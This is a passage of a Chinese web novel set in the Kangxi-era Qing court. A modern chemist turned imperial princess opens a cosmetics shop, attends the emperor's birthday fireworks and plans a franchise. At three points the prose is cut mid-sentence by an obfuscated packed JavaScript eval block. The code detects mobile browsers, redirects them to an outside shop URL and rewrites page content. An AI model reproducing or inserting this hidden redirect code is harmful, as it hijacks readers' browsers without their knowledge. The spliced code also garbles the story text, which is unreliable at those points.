沈姝的胭脂水粉铺子颜如玉开张了,这家铺子的店面比之前的绸缎铺子还要大,位置还要好。 毕竟是卖奢侈品的,该有的场面不能少。 店内的装饰也花了几百两银子好好的拾掇了一番,不同于寻常胭脂铺里只有多宝阁柜子,而是打造了一些圆形的高脚桌和圆凳。 每个桌子上还摆放有玻璃镜子,以方便顾客坐下试妆。 不仅如此,无论是口红还是眉笔亦或是香皂或香脂,都可以免费试用。 铺子里的掌柜还有伙计都是女子,除了丁氏的族人,还在外面雇了几位年轻清秀的女子当导购员。 这些女子脸上用的就是铺子里的产品,而且每个人唇上的口红色号还不一样,这些深浅不一红的各异的绛唇让人眼前一亮。 巳时,店铺门口响起噼里啪啦的鞭炮声,铺子正式开门迎客。 四福晋和八福晋她们都过来了,尤其是八福晋,不仅是自己过来,还带着其他贵女。 “哎呀顺和,你送的那些东西可真好使,我这上妆之后到娘家走了一圈,见过的人哪个都说是好!” 八福晋满脸笑容,说的还尽是好听话。 不过这也是实话,不算是虚假的恭维,因为这东西就是好用啊! “是啊,顺和你铺子里的东西确实是与众不同……” 一时间,各位来客言语间都是夸赞。 这些好听话沈姝都照单全收,笑着亲自当起了推销员,“各位嫂子还有姐姐们,你们可以各处看看。 店里有可以试妆的隔间,可以免费试用各色口脂。” 后世很多女人都有不止一支口红,像她就买过二三十种不同的色号。 而店里的口红色号虽然没有那么多,但也有十种不同颜色,就连香皂和香脂的颜色和味道都弄了好几种以供选择。 之前送的时候每人也只送了其中一种,现在可以让大家多看看。 “那咱们就到处都看看。” 来客都笑呵呵的被其他导购员带进了试用隔间,隔间里桌椅镜子还有茶水一应俱全。 可以任由她们坐下来多试试,这样才能挑选出合乎心意愿意花钱的东西。 虽然除了这些来客,暂时并没有其他顾客。但沈姝并不担心,因为胭脂水粉的生意不同于棉布,不可能做到被人抢购一空。 毕竟这东西是奢侈品,不是谁人都能用得起。奢侈品的生意属于是那种三年不开张,开张吃三年的类型。 四福晋和十三福晋关系好,两人共用一个试妆间。 十三福晋年轻爱打扮,眼看着木架子上的口脂哪个颜色都好看都想要,各试了一遍之后问道:“这些是多少钱一支?” “回福晋,六两银子一支。” 一听到这个报价,别说是十三福晋,就是四福晋都脸色微变。 两个人都嫌贵,但没好意思开口说出来。 可四福晋是带着钱来的,之前四阿哥说过让她来捧场,那就是要买些回去。 说实话,其他的就算了,她自觉年纪已大,也不喜奢华。 唯独觉得香脂极好,抹上去很舒适。 原本是应该给府里的女人各都带一套回去,可是看着这些东西的价钱,四福晋都舍不得。 按之前沈姝送的那四件,这要是算下来每人还不得二三十两? 府里这些女人,算起来得一百多两! 四福晋觉得还是只买两套算了,侧福晋单独一套,至于另外一套拆开来分给几个庶妃和侍妾就好。 而十三福晋则是咬牙买了两支口脂,别人都买了她不买这面上也不好看。 主要是买两支可以赠送一小块香皂,买一支就没有赠品。 不过再多可就舍不得了,家里还得吃饭呢! 因为十三阿哥不受宠,至今依然是个光头阿哥,府中能从内务府领取的俸禄并不多,每个月也就一百两银子,其他什么都没有。 相比四福晋和十三福晋,八福晋她们出手可就阔绰多了,因为她们都不差钱。 八福晋是豪气的花了两百多两银子,把店里所有东西全都买上了一份。 九福晋和十福晋她们也各都花了一百多两,都是大客户。 其他女客至少也消费了有十两以上,毕竟这里最便宜的东西都得五两银子。 贵女们出门身上至少也得带上几十两银子,现在这些钱不少都进了沈姝的口袋。 这波人在店里呆了小半个时辰之,贡献过营业额之后都拎着买好的东西散去了。 接下来沈姝也不在店里呆着了,她还要好好建造自己的实验室。 现在染料和如意灯的事情已经交由内务府接手,之前听八阿哥说已经安排妥当,不需要她再操心。 但肥料的事情也得上上心了,之前进宫还被康熙催促过一番,一直拖着肯定不行。 其实沈姝可以昼夜以继的加快试验进程,但她不想。 若是这么快就合成尿素,康熙肯定会觉得这东西来的太容易。 而太容易得到的东西往往不被珍惜,于肥料而言,道理同此。 所以按沈姝的计划是在明年春耕之前弄出来百十斤的尿素即可,到时候正好可以在春耕时加以施肥验证肥力效果。 更何况现在她的实验室还没有建造好,所以得先把这事弄好再说。 接下来几天,听顺子说店里的生意还可以,至少每天都能开张。 三月十八,万寿节。 康熙的万寿节是在皇家园林畅春园里庆祝,作为义女,沈姝当然也得过去祝寿。 其他人送了什么礼物她不知道,但她的礼物算是提前送过了,烟花和香脂都算,所以就没有再送其他。 此时正是阳春三月,杨柳早已吐出新绿。 畅春园里的桃花已经盛开,未开花的树上处处张灯结彩,无不彰显着节日的氛围。 “真是吹面不寒杨柳风!” 宴席还没开始,沈姝带着侍女翠红在园子里游览,这地方还是第一次来。 主要是这处园林后世已经不复存在,所以她没来旅游过。而后世大名鼎鼎的圆明园,即便是想去也去不了,因为此时还没有。 苏州园林倒是去过,北方的园林跟南方还是有些区别的。 水池中还有去年的枯荷蔓茎,几只鸳鸯在水面上游弋,垂柳撩拨着水面,荡起层层细碎的涟漪。 沿着青石小径,远远看到前方是一片粉红之色,应该是桃花林。 春天能赏的景致大多就是桃李海棠,沈姝说道:“走,咱们去那边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14228864|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看看。” “哎,您仔细些脚下。” 翠红扶着沈姝,生怕她不小心再摔倒,因为今天早上出门她就已经差点儿摔倒。 要不是今日里必须要穿宫装,鬼才想穿这种鞋子! 沈姝忍不住的吐槽,“这烦人的鞋子!” 现在她明白了,怪不得电视里的清宫戏,那些宫妃们走个路都要人扶着。 可不是得扶着,不扶着说不定一天能跌好几个狗吃屎。 她在后世都很少穿高跟鞋,谁在化学实验室里穿高跟鞋,不要命了? 好不容易扭到桃花林,找到一处僻静的地方,沈姝形象全无的想要坐在土埂上歇脚。 “公主,您这样被人看到可怎么好?” 翠红想要拦住她,哪家的小姐是这样的? 这看起来就像是坐在田间地头上的农家老大伯! “不碍事的,这儿没人。” 沈姝摆摆手,说着一屁股坐了下来。 她看了,土埂上的土是干的,沾了衣拍拍就好。 高跟鞋容易磨脚,这清朝的高跟鞋也有这毛病。 走了这么远,沈姝感觉自己的脚应该是已经被磨破了皮。 “那您歇会儿。” 翠红无法,她哪里能拦得住沈姝? 说也不能多说! 家里可是耳提面命的不知道叮嘱了多少次,说是要听公主的话,万不可忤逆! 还好她前后左右都看过了,确实是没人。 沈姝也看过了,这附近连个人影都没有。 她想解放自己的双脚,于是弯腰直接把花盆底给脱了下来。 惊的翠红忍不住叫道:“您、您怎么能在外面脱鞋子?” “您快穿上啊公主!” 简直是头蒙,她急的连忙蹲下去拿起鞋子想重新给沈姝再套回去,女子怎可在大庭广众之下脱鞋子? “放下放下。” 沈姝不得不出声阻拦,“这附近不是没人吗?你去那边看着点儿,看见人来就跟我说声。” 这万恶的封建社会,连脱鞋都不自由! 要是在后世,光着脚都能在大街上乱跑。 上学时有一次下暴雨,她凉鞋的带子断掉了,直接就把鞋子脱掉全都丢进了垃圾桶,然后光脚跑了回去。 翠红都不知道该说什么好,这也太、太…… “去吧。” 沈姝摆摆手,她不能连让脚透透气的自由都没有! 翠红无法,只得站起身来,伸长了脖子不停的四处张望。 沈姝坐在土埂上歇了会儿,便直接站起身来赏花。 她没有穿鞋,而着袜踩在泥土地上。 脚上的袜是靴子状,说实话这种袜子对于穿惯了后世那种袜子的沈姝来说是一点儿都不舒适。 既不贴脚,也不够柔软。 这种袜子沈姝还没有穿习惯,要不是穿脱太麻烦,都想把袜子也给脱了。 就这么踩在地上,鞋袜脏了也不碍事,因为来时带了备用的。 此时的桃花与后世的桃花并无二致,身在此处赏花,颇有种变幻了时空,桃花依旧笑春风的感慨。 可惜没有手机,要不然来张自拍以留念。 正当沈姝感慨时,却听到了翠红的尖叫声…… 64.第 64 章 “蛇,有蛇!” 闻声扭头看去,只见前面一丈远处的翠红已经被吓的跳着跑了过来。 “别怕别怕。” 沈姝见状走过去安抚翠红,因为翠红比她年纪小。 走过去之后发现前面的泥土地上游过来两条黄黑花纹的蛇,两尺多长的蛇吐着信子,看着怪吓人的。 见沈姝过来,翠红大喊道:“公主您赶紧跑啊,蛇过来了!” 比这粗的蛇沈姝见过,但那是在动物园里。在野外冷不丁的看到蛇,还真有点儿怵的慌,主要不知道这蛇是有毒还是无毒。 不过她的胆子可大多了,拉着翠红转身抓起地上自己的鞋子就朝两条蛇砸了过去,然后蛇就被吓跑了。 见翠红还在发抖,沈姝拍了拍她的背,“好了没事了,你看它们不是跑走了吗?” “吓、吓死奴婢了!” 翠红拍着胸口,她自幼怕蛇,刚才真是怕极了。 缓过劲儿后她不禁问道:“公主您、您不怕蛇啊?” “没你这么怕。” 沈姝怕的小动物很多,什么蜈蚣蝎子蚰蜒之类的,甚至连蝉都怕。 至于蛇,确实也怕,倒不至于被吓成这样。 当然,狗除外! 两个人正说着话呢,远处的四阿哥走了过来。他正在到处找沈姝,刚才又听到尖叫声,所以才赶过来看看。 结果远远的就看到沈姝似乎是光脚站在地上,在他看来不穿鞋,就是光脚。 按说这种情况下作为男子他是应该回避的,因为女子的脚只有她的夫君才能看。 可刚才听到尖叫声,不上前来看看不放心。更何况,他对她本就抱有心思,遇到这种情形根本不愿主动避开。 “顺和,你怎么了?” 四阿哥快步走了过来,苏培盛在后面紧跟着差点儿没能撵上他。 路过那只被沈姝丢出去砸蛇的鞋子时,他还停下来弯腰捡了起来。 而沈姝刚才只顾着安抚翠红了,都没有注意有来人。至于翠红,光顾着害怕了,哪里还顾得放风? 听到有男子的声音,翠红心里一“咯噔”,忙不迭的把沈姝挡在身后。 显然她也知道女子的脚不能让外男看到。 见沈姝的侍女这样,四阿哥停下脚步,知道自己不能再上前了。 看到来人是四阿哥,沈姝问道:“四哥,你怎么在这里?” 她对于这些男女大防并不在意,准确的说她一个后世之人根本就不在乎这些。 若是不刻意的去记,平日里哪里会顾及那么多的礼节礼仪? 听这声音,不慌不忙的,四阿哥觉得沈姝应该是没有什么大碍。 所以便没有再着急去追问鞋子的事情,而是回答道:“八弟说找你有事,所以我们都在找你。” 而且他说话的时候,虽然手里还提着沈姝的鞋子,但已经垂下眼帘,做出了君子应有的举动,非礼勿视。 说完之后便把手里的鞋子递给苏培盛,示意他送过去。 因为苏培盛是太监,不算男人,当然是可以过去。 苏培盛双手接过鞋子弓腰垂首走了过去,不敢多看也不敢开口,而是默默地把鞋奉上。 公主在园子里脱鞋,这叫什么事? 对于沈姝这个公主,苏培盛都不知道该说什么好。 还有什么事是她不敢干的? 翠红接过鞋子赶紧伺候沈姝穿上,心里一片忐忑,今日这事真是吓人。 蛇吓人,被四阿哥看到沈姝光着脚也吓人。这事可不能传出去,否则于公主的名声不好…… 穿上鞋,沈姝拍了拍屁股上的土,朝四阿哥问道:“八哥找我什么事?” 见沈姝走过来,四阿哥才抬起头来看着她回道:“说是花炮的事情。” 沈姝无语,她今日里是得帮忙给“壽”字烟花摆造型,可要放烟花也得等到天黑。 现在连中午饭都还没吃,时间还早着,八阿哥也太心急了! 四阿哥还是想知道刚才到底是怎么了,看沈姝心情还算不错,这才问道:“顺和,你方才为何……为何会如此狼狈?” 沈姝笑了笑,“不好意思,让四哥见笑了,刚才遇到了蛇。” “蛇?” 听的四阿哥吓了一跳,上前几步急声道:“你没事吧,有没有被咬到?” “没有啊!我把它们都吓跑了。” 四阿哥脸上的担忧很是真切,让沈姝心里蓦地有些异样,觉得他对自己似乎是过于关心了…… 但她装作没有看见,就像对十四阿哥那样。无论四阿哥到底有什么心思,只要他不挑明,她都可以当做不知道。 如果哪一天他挑明,那就等到那一天再说。这个倒是没什么,对于如何处理男女关系,沈姝自有原则。 听沈姝说的云淡风轻,四阿哥不禁挑眉,“你不怕蛇?” 不怕还吓的鞋子都掉了? 沈姝淡淡的说道:“怕,但蛇又不是狗。狗是吓都吓不走,蛇是一吓就跑。” 看来确实是不怕,该不是脱下鞋子把蛇砸跑了吧? 总觉得这种匪夷所思之事是沈姝能干出来的,想到这种可能性四阿哥不禁想笑,“这话倒是没错,那咱们回去吧。” 说着他伸手先拨开了身旁挡路的桃树枝条,然后示意苏培盛去一起扶着沈姝。 因为他知道沈姝不习惯穿旗鞋,之前就曾在册封典礼时摔倒过。 还有平日里她是不穿旗鞋的,比如过年赴宴时穿的就不是旗鞋,这些四阿哥都看在眼里记在心里。 沈姝被苏培盛和翠红两个人一左一右的扶着,感觉自己像半个残废。 “四哥,我是一定要穿这种鞋子才行吗?” 听沈姝这么问,四阿哥出声安抚,“旗鞋是贵女所穿,按规矩你需要如此。你之前并不习惯,以后习惯了会好一些。” “……” 谁想习惯这东西? 沈姝叹了口气,不想说话。 见她无心多言,四阿哥也没有再多说什么,而是专心的在前面拨开花枝开路,不愿枝丫玷污了她的发饰和衣衫。 随着花枝被拨开,些许花瓣随之飘落,四阿哥无心赏花,也没有惜花之意。 只是这满眼的桃花林,让人思绪荡漾不能自已,他在想如同她这般的奇女子究竟会心悦什么样的男子…… 从桃花林中出来,走上青石大路,半路上遇到了十四阿哥。 十四阿哥也是出来找沈姝的,远远看到四阿哥与沈姝在一起,他的脸色不太好看。 他不愿意也不想看到这些,明明知道四阿哥觊觎沈姝,可却无法光明正大的阻拦。 “顺和,你扭伤了吗?” 十四阿哥走上前来,看到沈姝被两个人扶着,还以为她扭伤了脚,不禁有些担心。 “没有,我只是怕摔倒。” 果然看起来像是残障人士,沈姝觉得多少有点儿尴尬,不得不朝苏培盛说道:“此处平坦,我自己走吧。” 见苏培盛松开手,十四阿哥才感到舒服了一些。 苏培盛是四阿哥的贴身小厮,他扶着沈姝几乎就相当于是四阿哥扶着。 他看着不舒服! 看了一眼沈姝的鞋子,十四阿哥建议道:“顺和,你闲暇时可得多练练,这样就不容易摔倒了。” “哦,我尽量。” 沈姝随口应付了一句,这两兄弟说来说去都是一个意思! “呐,你们走得快先走吧,我在后面慢慢走,多练练。” 这语气,还有这话,听得四阿哥和十四阿哥都拿不准沈姝是不是突然生气了…… “顺和……” 十四阿哥想说八阿哥找她有事,可是又不愿开口催促,只得说道:“你慢慢走,不急。” 四阿哥当然也不会催促,反正八阿哥的事也不急于这一时半会儿的。 他即便是要先走也得拉上十四阿哥一起,所以便道:“那我们先行一步去跟八弟说一声。” 而十四阿哥顾及到与沈姝之间的特殊关系,自知不方便在这种大庭广众之下两个人独处,所以便同四阿哥一起走在了前面。 两个人并排而行,但隔着三尺远的距离。 十四阿哥瞥了四阿哥一眼,忍不住的想要试探,一开口就是暗带讥讽。 “以往可从未见四哥对妹妹们如此热心!” 听了这话,四阿哥没有看十四阿哥,而是目视前方缓缓回道:“我们身为兄长,自是应当照顾弟妹,十四弟你这是在埋怨我这个兄长做的不够吗?” 四阿哥明知十四阿哥不是这个意思,也知道他在怀疑,怀疑自己对沈姝的心思。 可那又如何? 四阿哥认为十四阿哥还不至于如此不知轻重,会与自己当众因此而撕扯。 因为他想护着沈姝,而他也一样,将心比心,谁都不会这么做。 但四阿哥觉得十四阿哥过于毛躁,畅春园里人多眼杂,说这些很是不应该! 十四阿哥见状冷声一句,“装模作样!” 而后就快步拉开距离,不想再同行。 总不能直接问出口,明知问他也不会承认,难道要因此而在这里撕扯? 跟在后面的沈姝看到前面这两兄弟,还没同行一会儿便一前一后的拉开了距离,看着有种分道扬镳的意味。 对于四阿哥与十四阿哥之间的兄弟关系,她无意插手,他们二人不合,正好。 要是兄弟相合,她站哪个的队啊? 走回去之后,沈姝先是换好袜子,然后才去找八阿哥。 见她过来,八阿哥微微有些怨言,“顺和,今日花炮的事情可不能出了差池。” 这事八阿哥比她上心,沈姝笑了笑,“有八哥你在,怎么会出差池呢?” 八阿哥笑着催促道:“你可不能当甩手掌柜,快快随我去看看那些花炮应当如何摆放吧!” “嗯。” 沈姝点点头,“八哥放心,之前咱们不是都检查过好几次了嘛! 待等下摆放妥当之后,好生看管着到时候按照我说的方式燃放即可。” 畅春园燃放烟花的地方是一片面积很大的空地,显然是考虑到了烟花燃放容易造成火灾的风险。 按照往年的惯例,由于燃放的喷花类烟花居多,所以需要提前将花炮搬运过来设置好相应的造型。 不过今年不一样,除了往年的花炮,还有沈姝特制的这些。 八阿哥没有打算全部都燃放沈姝的花炮,红花尚需绿叶衬,花炮也一样。 他的打算就是用往年的那些花样来彰显今年的与众不同。 烟花弹不用特别的打理,到时候直接燃放即可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14240031|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,唯独就是这九个“壽”字比较麻烦。 每个字都是用百十个单发小烟花组成,这些烟花需要被摆放成高低各不同的造型。 而串联这些烟花的导火索分好几根,必须要提前都设置好。 八阿哥当然是更信任沈姝,这些事情必须要有她来做。 其他匠人来做,他可不放心,因为这些全原就是出自于她之手,当然她来做最妥当。 跟着八阿哥来到燃放烟花的空地处,沈姝很快摆放好了烟花。 但八阿哥不放心,让她检查了好几遍,并且还叮嘱说午后至燃放之前还得再来多查看几次。 沈姝应下了没有推脱,多检查几遍也不费什么工夫。 午时的寿宴跟在宫里的菜色没有太大区别,只是席间的人数多了许多。 听四福晋她们说很多蒙古贵族和朝中大臣都过来赴宴了,所以这宴席才摆的如同长龙一般。 沈姝对这些没有什么兴趣,吃完饭之后既没有再去赏景也不想出去结交。 畅春园太大,走的脚疼。 一直到天色渐暗,沈姝最后检查了一遍烟花之后,很快便到了烟花燃放之时。 观看之人包括康熙在内,往年是距离燃放场地五丈开外。 可今日一早八阿哥再三恳请征得康熙的同意之后,才让人把观赏的桌椅摆放在了十丈开外。 并且还叮嘱说这种花炮声音巨大,类似红衣大炮之声响,听的康熙越发好奇。 戌时正开始燃放烟花,先燃放的是往年的那种大喷花。 虽然今年的喷花如同往年那般,也有三四丈高,可隔着十丈外看就有些不太真切。 除了之前参加过十四阿哥生辰宴的人,其他人都不明白今年这是怎么回事? 欲扬先抑,抑太久就过了,更何况是这种场合。 所以很快,随着数声震耳欲聋的巨响,漆黑的高空中蓦然显现出数朵巨大的花朵。 被巨响惊吓到之人还未来得及反应过来,就被烟花闪到了双眼,有人仰望天空惊叫道:“呀,快看那是什么?” 康熙也抬头看向夜空中,如此艳丽盛大的花炮还真是头一次见,甚是新奇! 这就是八阿哥和沈姝的寿礼? 确实是费心了。 随着烟花的朵朵绽放,听着周边满蒙贵族的大呼小叫声,康熙心情愉悦。 之前这些人在京城内看到如意灯还惊呼不已,真是少见多怪! 他爱新觉罗·玄烨治下的大清国,自然是应有这些寻常人闻所未闻、见所未见之物! 否则如何以扬国威? “我是不是眼花了,快看那是不是个壽字?” 花朵湮灭后,硕大的“壽”字突然显现照亮了夜空,更是令人惊奇大叫不已。 就连康熙都站起身来仰头观望,这字怎会变成花炮飞上了天呢? 然而还不止这一个,伴随着绽放的花朵,明黄的“壽”字接连闪现,让人目不暇接。 往年众人都是边吃干果边喝奶茶边看花炮,今年此时此刻谁还有心思吃喝? 一双眼睛都盯着夜空,看得上是啧啧称奇,都忘了干果和奶茶。 烟花的燃放时间并不长,两刻钟后随着最后一个“壽”闪现出来,八阿哥与除了太子之外的其他阿哥们以及沈姝上前共同祝寿。 “儿臣祝皇阿玛万寿无疆,鼎盛千秋!” 与此同时,其他在场所有人见状皆跪拜在地,口中高喊:“吾皇万寿无疆,鼎盛千秋!” “好好好!” 康熙笑的合不拢嘴,不得不说这次的万寿节简直是出乎意料的让人高兴。 “平身平身。” “胤禩,重重有奖!” 康熙说着朝李德全吩咐道:“去将朕的佩刀取来。” 大清无论是皇上还是皇子,都有佩刀。 赏赐佩刀,确实算是重奖。 双手接过佩刀高举过头顶,八阿哥跪谢:“儿臣叩谢皇阿玛赏赐!” 然后康熙看向沈姝,“顺和,这些花炮是出自你之手,朕心甚悦! 说说你想要什么赏赐?” 别诱惑,她才不上当! 赏赐哪里能这么要? 就是领导甩过来一张空白支票,那也不能自己随便填写数额啊! 沈姝上前一步说起了漂亮话,姿态很是恭谨,“皇阿玛心悦便是儿臣所愿,儿臣只愿皇阿玛岁岁年年都能笑口常开。” “哈哈!” 康熙哈哈大笑,显然这话听起来很顺耳。 “朕知你的孝心,赏东珠一颗,南珠十颗。” “儿臣叩谢皇阿玛赏赐。” 沈姝对珍珠无感,才十一颗,够个手串吗? 然而其他人却都很是羡慕,南珠暂且不说,但东珠出自大清龙兴之地,不是谁想佩戴都能佩戴的。 东珠,皇上、皇太后还有皇后才能使用。 没有赏赐,连亲王都不能使用。 当然也有例外,比如沈姝这种经过赏赐之人用之不算僭越。 可以这么说,东珠是身份地位的彰显,也代表着帝王的恩宠。 今年的万寿节,八阿哥和沈姝算是出了风头。 甚至是在万寿节过后,沈姝的颜如玉铺子里的生意都好了许多,不知道从哪里得到消息的贵女们纷纷前来选购。 65.第 65 章 万寿节之前,颜如玉铺子里的生意不好不坏,每天好的时候能卖出去百十两银子,不好的时候也就十两五两的。 主要是客流量太小,不过但凡进店的就没有空手而归的。 客流量小也正常,胭脂水粉又不是一次性用品,买回去后不得用个数月才需要添置? 贵女们不把手里在其他铺子里购置的妆品用尽,也不大可能出来添置新品。 然而万寿节之后,铺子里的客流量突然就大了起来。 这其中有八福晋的功劳,她没少在各种宴席中提起过沈姝的铺子。 这事啊,不避讳,无需偷偷摸摸,因为在皇上那过了明处。 又加之沈姝在万圣节出了风头,宣传效果一下子就出来了! 结果满蒙贵妇以及宗室的福晋们很多纷纷而来,买不买的,先看个稀奇也好。 在京中难得有什么趣事,皇上义女的胭脂铺子还挺稀奇的! 不过这些人到店之后,试用过各色妆品,都忍不住心动,买了不少。 无论是贵妇还是贵女,都好个新奇,眼见东西好用,手里又有钱,谁能忍住不买呢? 自万寿节后,店里的营业额直线飙升。 可谓是月入过万,都有点儿惊到沈姝了! “店里的生意就这么好?” “是啊公主,您没来店里亲眼得见真是可惜了,来咱店里的主顾们就没有空手而归的! 除了口脂,店里最受喜爱的就是香脂。 若是上妆时,先用咱们的香脂再用香粉,那会更滋润更细腻。 还有眉笔,描画起来更方便……” 冯掌柜言语间是满脸笑容激动不已,做梦都没想到生意能好成这样! 她是丁炳先的妻子,之前听顺子说公主极善经商还不信,现在一看何止啊? 简直就是财神转世! 自己的生意好就意味着别人的生意肯定是变差了,沈姝直接问道:“馥香斋的生意如何?” 作为颜如玉的主要竞争对手,冯掌柜自然也有关注。 “常言道此消彼长,咱们店里的生意好了,馥香斋自然是要冷清许多。” 她是一丁点儿都不担心会有同行闹事,因为这是公主的铺子啊! 谁敢如此的不开眼? 沈姝想的远比冯掌柜要多,对,她现在是摇身一变成为了公主。 也许不会再被人轻易弹劾,但做生意这事,也不好一个人把钱全都赚了。 之前染料的生意,沈姝就是这么想的,可惜那些商贾非要玩阴的。 化妆品的生意,当然也有分利的法子。 这很简单,招加盟商开连锁店即可。 一座城一家店,这样才能把化妆品卖到全国各地,也才能赚到更多钱! 而馥香斋就是她所选的第一个加盟合作商,成与不成,试试再说。 至于馥香斋是否有什么深厚的背景? 沈姝懒得去查,反正只要先下了帖子,背后之人不仅会浮出水面,还会表明态度。 以她现在的身份,即便不靠十四阿哥,也能扛些事。 于是便吩咐道:“你与顺子,看看谁去约馥香斋的掌柜比较合适。 约到人之后,给对方看看这个,问问对方愿不愿意改了招牌。” 说着沈姝递给冯掌柜一份加盟商的招募方案,这上面列明了加盟之后售卖颜如玉的产品可以获得的利润率,以及颜如玉即将在全国招募加盟商的计划。 冯掌柜双手接过招募方案,“是,我明日里就发帖子。” 拿着方案回去之后她才坐下来细细的翻阅,简直是越看眼睛越亮。 “你说公主的法子怎么这么多?” 冯掌柜看完之后把方案递给一旁坐着的丈夫丁炳先。 丁炳先看过之后也是对沈姝佩服不已,店里的生意是什么情况他当然知道,因为他就是账房先生。 不仅知道店里的账目,还知道这些胭脂水粉的本钱是多少。 胭脂水粉的利润率要远高于之前的布店,不过这两种生意走的不是一个路子。 布店是薄利多销,而胭脂水粉则是贵重之物。购买之人不在于多,而在于贵。 原本即便是各家的老字号,大都也只是局限于一城之地。 想要把生意做到外地,何其艰难? 不仅是路途不便,还有外地的关系也需要打点。 当然对于颜如玉的生意来说,丁炳先觉得这已经不是问题。 因为沈姝已经贵为公主,有这层身份,旁人巴结还来不及。 再说胭脂水粉这种东西,不是那种不经放的瓜果生鲜。 而且这东西也不走量,比布料还要方便携带运送。所以按照这上面写的,确实是可以做到贩卖至外地。 放下手中的方案,丁炳先提笔写道:“照做,不要擅自拿主意,要勤禀告。” 冯掌柜点点头,在公主府做生意可轻松多了。许多事情都无需自己操心,只要听话即可。 次日,冯掌柜以颜如玉掌柜的身份派人送请帖至馥香斋。 馥香斋的刘掌柜也是女子,同冯掌柜一样,刘掌柜背后也是有人的。 她原本就是做胭脂水粉生意的,但发迹是在三年前。 三年前她的女儿成为佟佳·玉柱的妾室,自此以后馥香斋这家并不出众的胭脂铺才开始逐渐在京城贵妇中打开了知名度。 因为佟佳这个姓氏,就代表着权势。 佟佳·玉柱是隆科多爱妾的独子,而隆科多是有“佟半朝”之称的佟阁老的儿子。 至于佟阁老佟国维,出身于满洲上三旗之首的镶黄旗,曾授领侍卫内臣、议政大臣,晋封一等公,是名副其实的朝廷重臣。 不仅如此,佟国维的胞姐是康熙的生母。算起来,佟佳氏是康熙的近亲。 可以说佟佳氏是满门朱紫贵,所以刘掌柜攀上佟国维的孙子后,自然是一人得道鸡犬升天。 刘掌柜算是聪明的生意人,否则也不可能仅凭攀上佟佳氏就能把生意做大。 颜如玉这家店她当然知道,不仅知道这家店抢走了她店里的生意,还知道这家店是沈姝这个公主的。 正是因为顾忌到沈姝的身份,她还没有拿定主意要怎么办。 刘掌柜当然知道胭脂水粉这种东西,买回去之后不用尽谁会轻易再添置新货? 所以一旦客人都去了颜如玉,那么馥香斋至少得两三个月都没生意! 眼睁睁的看着京中贵妇们大都跑到了同行店里,她怎么能不心急? 现在收到馥香斋冯掌柜的帖子,刘掌柜打算先赴约探探口风再说。 是日,中午,刘掌柜按时赴约。 两位女掌柜见面后各自打量对方,而后就是一阵寒暄,面上都很是和气。 刘掌柜笑道:“哎呀,我还说约冯掌柜的您请教请教生意上的事儿呢,不想反倒是先喝上了您的茶水。” 冯掌柜笑呵呵的回道:“哎呦,看您这话说的,咱们都是同行。说什么请教可不敢当,原本也该是我这个后入行的来拜访您呀!” 一个照面之后,刘掌柜发现冯掌柜也是个滴水不漏的人,现在店里生意不好,她的心情当然不会好。 所以没有多少心情在这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14250310|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寒暄废话,直接开口问道:“不知冯掌柜今日约我可是有什么事情?” 冯掌柜笑着说道:“都说同行是冤家,妹妹我作为后来者,先给姐姐您赔个不是。” 先是道了歉,做足了礼数,她才说起正事,“不瞒您说,我这次来,确实是有事相商。想必刘掌柜您也知道京城就这么大,这家店的买卖好了,别的店肯定要受损。 咱们都是做脂粉生意的,我们东家的意思与其同行相争,不如合作发财。” 听冯掌柜这么说,刘掌柜好奇的问道:“怎么个合作发财法?” “您看,这是我们东家的意思,不知刘掌柜您是否有意合作?” 冯掌柜说着拿出了沈姝的加盟方案递了过去。 刘掌柜接过来翻看粗略的扫了一遍,脸色不太好看,这里面的内容比较多,还得细看再说。 她合上册子,转而说道:“听说你是顺和公主府的人,我那女儿是佟阁老的孙媳,说起来咱们也算是沾亲带故。 这亲戚之间,有什么事情都好商量,此事容我回去商量一番咱们再谈。” “不曾想您与我们公主之间竟还有这层关系!” 冯掌柜是外地人,不知道佟阁老是什么人,但听冯掌柜这么说,连忙起身行了一礼。毕竟皇家亲戚多,也不好失了礼数。 刘掌柜见状连忙道:“哎呀,可使不得。” 冯掌柜笑道:“那这事我回去也跟公主说说,到时候咱们再谈。” 事谈到这种程度暂时已经谈不下去了,冯掌柜知道这不是自己能做主的。 在回去禀告之前,她让小叔子顺子去打听了一下刘掌柜所说的亲戚关系。 “馥香斋的刘掌柜是佟阁老第三子隆科多庶子妾室之母?” 听了冯掌柜的话,沈姝微微皱眉,看来京城之中的商贾背后还真是都有各自的靠山! 这很正常,自古官商是一家,只是没想到这次遇到的是一个拐弯抹角的“亲戚”。 好吧,如果从康熙那边算,确实是亲戚。 